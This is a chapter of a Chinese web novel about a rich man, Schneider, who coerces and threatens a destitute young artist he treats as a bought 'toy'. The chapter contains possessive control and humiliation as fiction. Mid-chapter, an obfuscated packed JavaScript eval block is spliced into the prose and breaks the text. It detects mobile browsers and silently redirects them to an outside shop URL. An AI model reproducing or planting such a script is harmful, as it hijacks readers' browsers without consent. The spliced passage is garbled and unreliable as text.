默认冷灰
24号文字
方正启体

13. 玩具

作者:金穗穗本书字数:K更新时间:
    餐馆门外,阮思瑜站在街灯下的阴影里,脸白皙得像电影里的精灵族,非人般的精致。


    和冷酷。


    森林的草木生不出一颗凡人之心,施耐德看着他,目光也冷下来:


    “我给足了你钱,乔什,给你锦衣玉食的尊严,而你选择穿着Prada来肮脏的餐馆做工,亲密地讨好华人女孩,任餐馆老板辱骂你,你真正想要的是一个华人女性包养你,是吗?只有这样,你才能心安理得地讨好金主,才能从中感受到乐趣。而我?我给你住所、食物、照顾、无限制消费的黑卡,得到的也只有你的叛逆。”


    “我本以为,你是不能忍受卑躬屈膝的生存方式,而现在却发现,你只是不能忍受男人,忍受我。其他人加诸在你身上的羞辱,你甘之如饴,哪怕只是为了...”


    男人的目光落在阮思瑜手上捏着的日结工资:


    “区区五十刀。”


    “我昨天就说了,施耐德先生,我迫切地需要钱。”


    冬天日短,才不到六点,天就黑压压一片。早上吃的营养餐被消化干净,阮思瑜又觉得寒意刺骨,他的左手不自觉地抚摸上自己右手腕,抚摸着他唯一未曾典当的名表。


    这是一块儿定制表,表盘上刻了他的名字。这让这块表非常难转卖,但这到底是一块儿镶钻的百达翡丽,如果他把价格压得够低,他可以用得来的钱帮他妈妈支付一两个月的债务。


    只要熬过这个冬天,只要手里再多一点点可以周转的钱,他可以继续维持妈妈和自己的自由。他在艺术方面很有天赋,他的名声有污点之后,仍然可以售卖灵感,成为其他艺术家的枪手,


    只要把自己的作品冠以别人的名字,他就可以得到钱。


    他不该因为一时无法忍受的寒冷和饥饿而接受杰西卡的邀请。或许他本来觉得找sugar daddy这事儿最多不过出卖自己的身体,和所剩不多的尊严,但他从没想过出卖自己的人生,让施耐德这样的人一点点蚕食和驯化自己的灵魂。


    他宁愿肮脏着自由,也不想活在镀金的囚笼,如果他真想当个没有灵魂可言的娃娃,他早就回“家”了,至少杰奎琳比施耐德彬彬有礼。


    “我为钱可以出卖很多,但不包括被你驯化。你很清楚,昨天我留下的唯一原因是你的威胁,而我也很清楚,你伪装出的体贴和大方是因为你想践踏我、改造我,而我经受不起你的改造。”


    施耐德解大衣的手微微一顿,而后他低低笑了。


    这就是阮思瑜眼里的‘真相’。而就算到了现在,施耐德仍然在解开自己的外衣,因为他觉得阮思瑜会冷。


    不愧是他年少时期爱过的人,不愧是将他一颗真心踩得粉碎的骗子。


    心比钻石都硬。


    他把驼绒外套披到阮思瑜肩上,顺势将他按在了车框上:


    “对,这就是我的目的,你很聪明,乔什,但你如果再聪明一点,你就会知道我一定会达成我的目的,你所有的叛逆和反抗都是蚍蜉撼树。你最终会双手奉上任何我想要的东西,也会为你如今所有的冒犯和挑衅付出代价。”


    阮思瑜被施耐德突如其来的粗暴吓了一跳,他本能地挣扎,但被裹在长外套里的四肢难以聚力,而施耐德毫无掩饰的威胁在他耳边如同火焰一样灼烧着。


    他深刻的意识到,事情向自己最恐惧的方向发展——施耐德盯上他了。


    他当然知道施耐德本就对他有兴趣,因为他长了一张和对方前男友...或者什么虚拟角色相似的脸。但是没人会觉得一张相似的脸能带来这样大的麻烦和这种程度的执念,就好像施耐德从初次见面就决定将彻底摧毁他当成人生目标似的。


    如果处于别的境地,阮思瑜会觉得这很有趣,但不是现在,不是他妈妈的自由岌岌可危的时候。


    他不能在这种情况下,还被施耐德这种人针对。


    他很清楚施耐德这样出身和地位的人有多少种让人生不如死的方式。


    “我没有本事让你感到不悦,先生。你是买家,我是商品。从始至终,我按照你的意愿做事,如果你想让我从你的生活中消失,我将没有任何冒犯你的余地。”


    “哈,你当然希望能够从我的生命中消失。”


    施耐德冷声说:


    “可你以为我会让你得偿所愿?有一件事你是对的,乔什,那就是我不只是你的sugar daddy,我还会成为你的主宰,而你的叛逆态度让你失去了我对你最后的耐心。现在,你可以把你的自行车扔掉了,就扔在这儿,等着垃圾车或者毒虫来将它捡走。立刻上车,医生在家里等着你,今晚你会得到迟来的检查。”


    他单手圈着阮思瑜的身体,像拨弄一个软布包裹的轻巧玩偶,另一只手拉开车门。他没有暴力将阮思瑜塞进车子里,但阮思瑜知道他别无选择。


    “我没有性//病,”


    这是阮思瑜最终能说出口的话:


    “如果这是你让我做身体检查的目的,我可以配合你对自己尊贵身体的爱重,也可以配合你的欲望,做一切合格的玩具或者sugar baby该做的事,但你不要干涉我的工作。你想要玩征服游戏,也需要我健全,或者抵抗时间更久一些才有趣,不是吗?还是说你单纯喜欢你抒发欲望的对象是一个不会动的硅//胶//玩具?”


    “还是说,我做着无用挣扎的模样对你来说不够新奇?你不是从我的挫败和绝望中得到乐趣吗?”


    阮思瑜笑着说,但他几乎笑不出来了。他现如今生活中最不需要的,就是再招惹一个施耐德这样的控制狂和变态。


    他很清楚和施耐德这样天生的权贵阶级玩游戏的结局是什么。


    “如果你迫切地去卖,乔什,那你会大失所望。”


    施耐德冷笑着说着羞辱的话:


    “我不喜欢我的东西变得更脏。无论你之前的少爷生活让你染上什么习性,日后你都不会被任何一个人碰,我付了钱的,而你是个商品,记得吗?”


    阮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037835|194653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    思瑜强撑的笑容彻底落了下来,他的手指和睫毛开始在被羞辱的怒火中颤抖,施耐德脸上飞快闪过一丝不自在,但他什么都没说,只是沉默地将车门拉到最大,无声威胁阮思瑜坐进副驾驶。


    阮思瑜无休止的抵抗和会让他受伤的愚蠢工作都该结束了,施耐德想。他的公司事务繁忙,无法时时刻刻将阮思瑜带在身边,也没想过彻底限制阮思瑜的自由,来激发他最大程度的对抗。


    但他一切的宽宥,或许来源于他对阮思瑜死灰复燃的渴望——他想给阮思瑜时间,让对方接纳他,适应在他身边的生活。


    可是阮思瑜太倔。


    既然如此,他也没有别的选择。


    他没准备放过阮思瑜。他怎么会?阮思瑜用十六岁的春天买断了施耐德人生关于爱情的所有可能性,而施耐德只是给这个骗子应得的报复。


    “我,不,我不是...”他不是商品?可他就是。


    阮思瑜的声音在寒风里变得有些含糊,施耐德是第一次见到他不能完整说话的样子,心蓦地一沉,抬手想要触碰阮思瑜露在长风衣外的脸,想要抹去阮思瑜脸上的破碎,或是将那濒临绝境的,惊心动魄的美握在掌心里。


    他太美了,他怎么能不受看护?他怎么能自由游弋在这危机四伏的世界里?


    阮思瑜躲开了。


    而此时,他们后面传来一道清亮的声音:


    “施耐德先生,”


    最先发现施耐德身份的,名叫‘媛媛’的女孩和朋友一起站在街灯处,脸上带着迟疑、困惑和胆怯,看着街灯下豪车边的两道身影。


    “我想跟...我们的服务生说几句话。他是华国人,我们或许认识。”


    女孩的理由很蹩脚,声音也没有底气,但她仍然站在那里,没有逃离,眼底原本对于施耐德和《怦然心动》憧憬、向往的星光褪去,只剩下警惕。她并没有等施耐德回话,而是直接换了中文对阮思瑜喊话:


    “同学,你需要帮忙吗?我们或许可以帮你报警,或者解释一下?我们没想给你添麻烦...”


    之前帮忙冷敷的女孩也站在朋友身后开口道:


    “嘿,你没事吧?甭管这白人多有钱有势,如果你遇到麻烦,我们可以帮你联系大使馆,买张机票就回国了。”


    她是女孩子中性格最大方利落的,说着就要靠近,却被身后的朋友手忙脚乱地拉住了。异国他乡的冬日,几个求学的华人女孩为了一面之缘的陌生人站在寒风里,她们不清楚自己面对的是什么样的麻烦,也不知道她们的善良举动,让阮思瑜因为被迫裸露的羞辱和伤口而剧烈颤抖。


    “我没事,”


    他不知哪儿来的力气,猛然推开了施耐德圈住他的手臂。他苍白的脸上撑起一抹笑,而那抹笑是对女孩儿们的:


    “谢谢你们,我没遇到麻烦,这是我男朋友,我们闹分手,让你们见笑了。不过他不是创造《怦然心动》的施耐德,只是长得有点像。你们知道,白人都长一个样。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)